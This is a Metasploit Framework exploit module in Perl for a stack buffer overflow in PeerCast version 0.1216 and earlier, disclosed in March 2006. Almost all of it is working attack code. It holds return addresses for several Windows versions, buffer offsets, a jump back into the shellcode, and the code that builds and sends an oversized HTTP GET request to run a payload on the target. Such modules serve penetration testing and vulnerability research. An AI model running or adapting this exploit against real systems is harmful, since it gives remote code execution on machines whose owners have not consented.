##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::peercast_url_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

  'Name'  => 'PeerCast <= 0.1216 URL Handling Buffer Overflow(win32)',
  'Version'  => '$Revision: 1.2 $',
  'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32' ],
  'Priv'  => 0,
  
  'AutoOpts'  => { 'EXITFUNC' => 'process' },

  'UserOpts'  =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 7144],
    'SSL'   => [0, 'BOOL', 'Use SSL'],
    },

  'Payload' =>
    {
    'Space'     => 400,
    'BadChars'  => "\x00\x0a\x0d\x20\x0d",
    'Keys'      => ['+ws2ord'],
    'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500
    },

  'Description'  => Pex::Text::Freeform(qq{
  This module exploits a stack overflow in PeerCast <= v0.1216. 
  The vulnerability is caused due to a boundary error within the
  handling of URL parameters.
}),

  'Refs'  =>
    [
      ['OSVDB', '23777'],
    ['BID', '17040'],
    ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
    ],

  'Targets' =>
    [
    ['Windows 2000 English SP0-SP4', 0x75023360 ],
    ['Windows 2003 English SP0-SP1', 0x77d099e3 ],
    ['Windows XP English SP0/SP1', 0x77dbfa2c],
    ['Windows XP English SP0/SP2', 0x77dc12b8],
    ],

  'Keys' => ['peercast'],

  'DisclosureDate' => 'March 8 2006',
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit
{
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $offset      = $self->GetVar('OFFSET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $target = $self->Targets->[$target_idx];

  my $pattern = Pex::Text::AlphaNumText(1024);
  
  # Return to EDI (offset 812)
  substr($pattern, 768, 4, pack('V', $target->[1]));
  
  # Jump back to the shellcode
  substr($pattern, 812, 5, "\xe9".pack("V", -517));
  
  # Insert he payload at offset 300 to avoid corruption
  substr($pattern, 300, length($shellcode), $shellcode);
  
  my $sploit = "GET /stream/?". $pattern ." HTTP/1.0\r\n\r\n";
  $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
    );
  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }

  $s->Send($sploit);
  $self->Handler($s);
  $s->Close();
  return;
}

1;